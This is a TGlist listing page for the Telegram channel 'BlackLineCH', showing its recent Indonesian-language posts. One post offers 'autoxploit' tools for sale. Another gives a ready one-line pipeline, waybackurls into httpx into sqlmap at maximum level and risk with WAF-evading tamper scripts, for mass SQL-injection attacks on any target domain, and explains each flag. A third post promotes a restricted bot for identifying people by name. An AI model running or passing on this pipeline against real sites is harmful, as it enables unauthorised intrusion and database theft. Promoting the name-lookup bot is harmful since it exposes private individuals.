Мир сегодня с "Юрий Подоляка"

Труха⚡️Україна

Ko'rish

Николаевский Ванёк

Ko'rish

Труха⚡️Україна

Ko'rish

Николаевский Ванёк

Ko'rish

Лёха в Short’ах Long’ует

Ko'rish

BlackLineCH

TGlist reytingi

TuriOmmaviy

Tekshirish

Tekshirilmagan

Ishonchnoma

Shubhali

Joylashuv

TilBoshqa

TGlist-ga qo'shildi

Oct 29, 2024

Men kanal egasiman

O'zgartirishlar tarixi

Telegram kanali BlackLineCH statistikasi

Batafsil

Obunachilar

0

24 soat00%Hafta00%Oy00%

Iqtiboslar indeksi

0

Eslatmalar0Kanallardagi repostlar0Kanallardagi eslatmalar0

Bitta postning o'rtacha qamrovi

0

12 soat00%24 soat00%48 soat00%

Ishtirok (ER)

0%

Repostlar0Izohlar0Reaksiyalar0

Qamrov bo'yicha ishtirok (ERR)

0%

24 soat0%Hafta0%Oy0%

Bitta reklama postining qamrovi

0

1 soat00%1 – 4 soat00%4 - 24 soat00%

Batafsil

Botimizni kanalingizga ulang va ushbu kanal auditoriyasining jinsini bilib oling.

24 soat ichidagi barcha postlar

0

Dinamika

"BlackLineCH" guruhidagi so'nggi postlar

Barcha postlar

29.10.202406:59

Forr sell tools autoxploit💀💀
Pv @noobsbg

Kirishning iloji bo'lmadi
media kontentga

29.10.202400:07

1. waybackurls target.com

Deskripsi: Alat waybackurls digunakan untuk mengambil arsip URL dari Wayback Machine atau penyimpanan arsip lainnya untuk domain target.com.

Fungsi: Ini memberikan daftar URL yang sebelumnya diketahui untuk domain tersebut, yang bisa mencakup titik masuk potensial bagi serangan.

2. grep '='

Deskripsi: grep '=' digunakan untuk memfilter URL yang mengandung tanda =.

Fungsi: URL yang mengandung = biasanya menunjukkan adanya parameter dalam URL, yang mungkin rentan terhadap serangan SQL Injection atau eksploitasi parameter lainnya.

3. httpx --silent --status-code

Deskripsi: httpx adalah alat yang mengirimkan permintaan HTTP ke URL yang difilter dari output waybackurls dan menambahkan status code HTTP pada setiap baris URL hasilnya.

Fungsi: Ini memeriksa apakah URL masih aktif (contohnya, hanya mengambil URL yang memiliki kode status valid seperti 200).

4. awk '{print $1}'

Deskripsi: awk digunakan untuk menampilkan hanya URL, tanpa status code.

Fungsi: Karena httpx menambahkan status code pada output, awk '{print $1}' memisahkan URL tersebut agar mudah digunakan dalam tahap selanjutnya.

5. xargs -I{} sqlmap -u {} ...

Deskripsi: xargs menjalankan perintah sqlmap untuk setiap URL yang difilter, menggantikan {} dengan URL dari hasil awk.

Fungsi: xargs memungkinkan penggunaan dinamis dari URL sebagai input untuk sqlmap.

6. sqlmap -u {} -v 3 --random-agent --tamper "between,randomcase,space2comment" --level 5 --risk 3 --batch --threads 5 --crawl 2 --suffix=') and 1=1-- -'

Deskripsi: sqlmap adalah alat otomatisasi untuk mendeteksi dan mengeksploitasi SQL Injection. Berikut parameter yang digunakan:

-u {}: Menyediakan URL target yang akan diuji.

-v 3: Menentukan tingkat verbose, memperlihatkan lebih banyak detail saat proses berjalan.

--random-agent: Menggunakan agen pengguna acak untuk setiap permintaan guna menghindari deteksi.

--tamper "between,randomcase,space2comment": Menggunakan skrip tamper tertentu (between, randomcase, space2comment) untuk mengubah pola permintaan SQL dan menghindari WAF atau filter keamanan.

--level 5 dan --risk 3: Menentukan level eksploitasi dan risiko menjadi level maksimal (5 dan 3), membuat proses lebih mendalam dan lengkap.

--batch: Menjalankan tanpa interaksi manual.

--threads 5: Menjalankan hingga 5 threads sekaligus untuk mempercepat proses.

--crawl 2: Meminta sqlmap untuk menjelajahi (crawling) hingga kedalaman 2 untuk menemukan URL tambahan pada halaman.

--suffix=') and 1=1-- -': Menambahkan sufiks khusus ke akhir permintaan untuk menguji titik injeksi SQL, dalam hal ini ') and 1=1-- -', untuk mengelabui filter SQL.

29.10.202400:07

1 line comand untuk mencari kerentanan SQLI :

waybackurls target.com | grep '=' | httpx --silent --status-code | awk '{print $1}' | xargs -I{} sqlmap -u {} -v 3 --random-agent --tamper "between,randomcase,space2comment" --level 5 --risk 3 --batch --threads 5 --crawl 2 --suffix=') and 1=1-- -'

atau

waybackurls target.com | grep '=' | httpx --silent --status-code | awk '{print $1}' | xargs -I{} sqlmap -u {} --random-agent --tamper=space2comment --level 5 --risk 3 --batch --threads 5

25.10.202401:17

Btw kerentanan yg aku temukan di 11 provinsi itu valid mas. Ini prov jogja sudah kasih serti🔥🔥🔥

24.10.202412:39

Saya ingin memperkenalkan BlackLine OSINT Bot, sebuah bot yang dirancang khusus untuk mempermudah proses pencarian identitas seseorang hanya dengan menggunakan nama. Bot ini sangat cocok untuk mendalami teknik OSINT (Open Source Intelligence) dan menambah wawasan kalian di bidang investigasi online.

Namun, perlu diperhatikan bahwa bot ini tidak tersedia untuk umum. Penggunaannya terbatas dan membutuhkan key yang hanya dapat diperoleh dari admin. Selain itu, bot ini masih dalam tahap pengembangan, sehingga beberapa fitur mungkin belum berfungsi sepenuhnya. Ingat, bot ini hanya untuk tujuan edukasi, jadi pastikan penggunaannya tetap sesuai dengan aturan yang berlaku.